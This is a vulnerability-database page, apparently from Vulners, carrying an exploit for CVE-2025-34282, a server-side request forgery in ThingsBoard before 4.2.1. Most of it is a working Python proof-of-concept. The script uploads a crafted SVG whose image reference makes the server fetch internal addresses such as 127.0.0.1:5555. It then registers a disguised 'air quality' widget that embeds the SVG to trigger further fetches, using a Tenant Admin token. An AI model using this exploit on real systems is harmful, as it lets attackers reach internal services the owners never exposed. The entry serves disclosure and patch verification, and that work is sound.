| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2025-34282 | 26 Mar 202622:02 | – | circl | |
| ThingsBoard 安全漏洞 | 17 Oct 202500:00 | – | cnnvd | |
| CVE-2025-34282 | 17 Oct 202518:33 | – | cve | |
| CVE-2025-34282 ThingsBoard < v4.2.1 SVG Image SSRF | 17 Oct 202518:33 | – | cvelist | |
| EUVD-2025-34906 | 17 Oct 202521:31 | – | euvd | |
| CVE-2025-34282 | 17 Oct 202519:15 | – | nvd | |
| 📄 ThingsBoard IoT Platform 4.2.0 Server-Side Request Forgery | 8 May 202600:00 | – | packetstorm | |
| CVE-2025-34282 | 20 Oct 202518:23 | – | redhatcve | |
| CVE-2025-34282 ThingsBoard < v4.2.1 SVG Image SSRF | 17 Oct 202518:33 | – | vulnrichment |
# Exploit Title: ThingsBoard IoT Platform 4.2.0 - Server-Side Request Forgery (SSRF)
# Date: 2026-03-25
# Exploit Author: Tamil Mathi T.
# Vendor Homepage: https://thingsboard.io
# Software Link: https://github.com/thingsboard/thingsboard
# Version: < 4.2.1
# Tested On: ThingsBoard 4.2.0
# CVE: CVE-2025-34282
# References: https://www.cve.org/CVERecord?id=CVE-2025-34282
# https://github.com/mathitam/thingsboard-ssrf-cve-2025-34282
#
# Description:
# ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image
# Upload Gallery feature. An attacker can upload a crafted SVG file containing
# a remote URL reference (e.g. via <image xlink:href="http://127.0.0.1:5555">).
# When ThingsBoard processes the uploaded SVG server-side, it fetches the
# referenced URL, allowing the attacker to reach internal services not
# exposed to the internet.
#
# Requires a Tenant Admin bearer token. Tenant Admin is a role below System
# Admin in ThingsBoard's hierarchy and has access to the Widget Library and
# Image Upload Gallery APIs used in this exploit.
#
# Attack chain:
# 1. Upload a malicious SVG to POST /api/image
# -> Server processes the SVG and issues a request to the internal URL
# 2. Create a custom widget embedding the SVG's publicLink via <object> tag
# -> Widget render also triggers the server-side fetch
#
# SVG payload used (ssrf_localhost_5555_svg.svg):
# <?xml version="1.0" standalone="no"?>
# <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"
# xmlns:xlink="http://www.w3.org/1999/xlink"
# xmlns:ev="http://www.w3.org/2001/xml-events">
# <defs>
# <pattern id="img1" patternUnits="userSpaceOnUse" width="600" height="450">
# <image xlink:href="http://127.0.0.1:5555" x="0" y="0" width="600" height="450" />
# </pattern>
# </defs>
# <path d="M5,50 l0,100 l100,0 l0,-100 l-100,0 ..." fill="url(#img1)" />
# </svg>
#
# Usage:
# pip install requests
# python thingsboard_ssrf.py <svg_file> <bearer_token>
#
# Example:
# python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci...
import requests
import json
import os
import sys
import argparse
import time
DEFAULT_URL_UPLOAD = "http://localhost:8080/api/image"
DEFAULT_URL_WIDGET = "http://localhost:8080/api/widgetType"
DEFAULT_REFERER = "http://localhost:8080/resources/images"
DEFAULT_ORIGIN = "http://localhost:8080"
def upload_image(filepath, token):
if not os.path.isfile(filepath):
raise SystemExit(f"File not found: {filepath}")
filename = os.path.basename(filepath)
mime_types = {
'.svg': 'image/svg+xml',
'.jpg': 'image/jpeg',
'.jpeg': 'image/jpeg',
'.png': 'image/png',
'.gif': 'image/gif'
}
ext = os.path.splitext(filename)[1].lower()
mime_type = mime_types.get(ext, 'application/octet-stream')
headers = {
"X-Authorization": f"Bearer {token}",
"User-Agent": "python-requests/2.x",
"Referer": DEFAULT_REFERER,
"Origin": DEFAULT_ORIGIN,
}
with open(filepath, "rb") as f:
files = {
"file": (filename, f, mime_type)
}
resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)
return resp
def create_widget(public_link, token):
headers = {
"X-Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"Accept": "application/json, text/plain, */*",
"Origin": DEFAULT_ORIGIN,
"User-Agent": "python-requests"
}
template_html = f"""
<tb-value-card-widget
[ctx]="ctx"
[widgetTitlePanel]="widgetTitlePanel">
</tb-value-card-widget>
<object data="{public_link}" type="image/svg+xml"></object>
"""
payload = {
"fqn": "SSRF_testing_Poc",
"name": "SSRF_testing_Poc",
"deprecated": False,
"image": "tb-image;/api/images/system/air_quality_index_card_system_widget_image.png",
"description": "Displays the latest air quality index telemetry in a scalable rectangle card.",
"descriptor": {
"type": "latest",
"sizeX": 3,
"sizeY": 3,
"resources": [],
"templateHtml": template_html,
"templateCss": "",
"controllerScript": "self.onInit = function() {\n self.ctx.$scope.valueCardWidget.onInit();\n};\n\nself.onDataUpdated = function() {\n self.ctx.$scope.valueCardWidget.onDataUpdated();\n};\n\nself.typeParameters = function() {\n return {\n maxDatasources: 1,\n maxDataKeys: 1,\n singleEntity: true,\n previewWidth: '250px',\n previewHeight: '250px',\n embedTitlePanel: true,\n supportsUnitConversion: true,\n defaultDataKeysFunction: function() {\n return [{ name: 'air', label: 'Air Quality Index', type: 'timeseries' }];\n }\n };\n};\n\nself.onDestroy = function() {\n};\n",
"dataKeySettingsForm": [],
"settingsDirective": "tb-value-card-widget-settings",
"hasBasicMode": True,
"basicModeDirective": "tb-value-card-basic-config",
"defaultConfig": "{\"datasources\":[{\"type\":\"function\",\"name\":\"function\",\"dataKeys\":[{\"name\":\"f(x)\",\"type\":\"function\",\"label\":\"Air Quality Index\",\"color\":\"#2196f3\",\"settings\":{},\"_hash\":0.2392660816082064,\"funcBody\":\"var value = prevValue + Math.random() * 100 - 50;\\nif (value < 0) {\\n\\tvalue = 0;\\n} else if (value > 320) {\\n\\tvalue = 320;\\n}\\nreturn value;\",\"aggregationType\":null,\"units\":null,\"decimals\":null,\"usePostProcessing\":null,\"postFuncBody\":null}],\"alarmFilterConfig\":{\"statusList\":[\"ACTIVE\"]}}],\"timewindow\":{\"realtime\":{\"timewindowMs\":60000}},\"showTitle\":false,\"backgroundColor\":\"rgba(0, 0, 0, 0)\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"padding\":\"0px\",\"settings\":{\"labelPosition\":\"top\",\"layout\":\"square\",\"showLabel\":true,\"labelFont\":{\"size\":14,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"labelColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"showIcon\":true,\"iconSize\":40,\"iconSizeUnit\":\"px\",\"icon\":\"mdi:weather-windy\",\"iconColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}],\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"valueFont\":{\"size\":26,\"sizeUnit\":\"px\",\"family\":\"Roboto\",\"weight\":\"500\",\"style\":\"normal\"},\"valueColor\":{\"type\":\"range\",\"color\":\"rgba(0, 0, 0, 0.87)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\",\"rangeList\":[{\"from\":0,\"to\":50,\"color\":\"#80C32C\"},{\"from\":50,\"to\":100,\"color\":\"#FFA600\"},{\"from\":100,\"to\":150,\"color\":\"#F36900\"},{\"from\":150,\"to\":200,\"color\":\"#D81838\"},{\"from\":200,\"to\":300,\"color\":\"#8D28C\"},{\"from\":300,\"to\":null,\"color\":\"#6F113A\"}]},\"showDate\":true,\"dateFormat\":{\"format\":null,\"lastUpdateAgo\":true,\"custom\":false},\"dateFont\":{\"family\":\"Roboto\",\"size\":12,\"sizeUnit\":\"px\",\"style\":\"normal\",\"weight\":\"500\"},\"dateColor\":{\"type\":\"constant\",\"color\":\"rgba(0, 0, 0, 0.38)\",\"colorFunction\":\"var temperature = value;\\nif (typeof temperature !== undefined) {\\n var percent = (temperature + 60)/120 * 100;\\n return tinycolor.mix('blue', 'red', percent).toHexString();\\n}\\nreturn 'blue';\"},\"background\":{\"type\":\"color\",\"color\":\"#fff\",\"overlay\":{\"enabled\":false,\"color\":\"rgba(255,255,255,0.72)\",\"blur\":3}},\"autoScale\":true},\"title\":\"Air quality card\",\"dropShadow\":true,\"enableFullscreen\":false,\"titleStyle\":{\"fontSize\":\"16px\",\"fontWeight\":400},\"units\":\"AQI\",\"decimals\":1,\"useDashboardTimewindow\":true,\"showLegend\":false,\"widgetStyle\":{},\"actions\":{},\"configMode\":\"basic\",\"displayTimewindow\":true,\"margin\":\"0px\",\"borderRadius\":\"0px\",\"widgetCss\":\"\",\"pageSize\":1024,\"noDataDisplayMessage\":\"\",\"showTitleIcon\":false,\"titleTooltip\":\"\",\"titleFont\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1.6\"},\"titleIcon\":\"\",\"iconColor\":\"rgba(0, 0, 0, 0.87)\",\"iconSize\":\"14px\",\"timewindowStyle\":{\"showIcon\":true,\"iconSize\":\"14px\",\"icon\":\"query_builder\",\"iconPosition\":\"left\",\"font\":{\"size\":12,\"sizeUnit\":\"px\",\"family\":null,\"weight\":null,\"style\":null,\"lineHeight\":\"1\"},\"color\":null}}"
},
"resources": None,
"scada": False,
"tags": ["weather", "environment", "air", "aqi", "pollution", "emission", "smog"]
}
try:
resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)
return resp
except Exception as e:
print(f"Request failed: {e}", file=sys.stderr)
sys.exit(1)
def main(image_path, token):
try:
resp = upload_image(image_path, token)
print("Upload Status:", resp.status_code)
public_link = resp.json().get("publicLink") or (resp.json().get("data") and resp.json()["data"].get("publicLink"))
if not public_link:
print(resp.json())
print("Failed to retrieve public link from response.")
sys.exit(1)
print("Public Link:", public_link)
time.sleep(2)
widget_resp = create_widget(public_link, token)
print("Widget Creation Status:", widget_resp.status_code)
print("\n[+] Widget created successfully.")
print(" Look for widget named 'SSRF_testing_Poc' in the Widget Library.")
print(" Add it to any dashboard to trigger the SSRF.")
except Exception as e:
print("Error:", e, file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="ThingsBoard SSRF via SVG Upload PoC")
parser.add_argument("image", help="Path to the SVG file to upload")
parser.add_argument("token", nargs="?", default=os.environ.get("TB_TOKEN"), help="Bearer token (or set TB_TOKEN env var)")
args = parser.parse_args()
if not args.token:
print("Error: token not provided and TB_TOKEN not set.", file=sys.stderr)
parser.print_help()
sys.exit(2)
main(args.image, args.token)Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation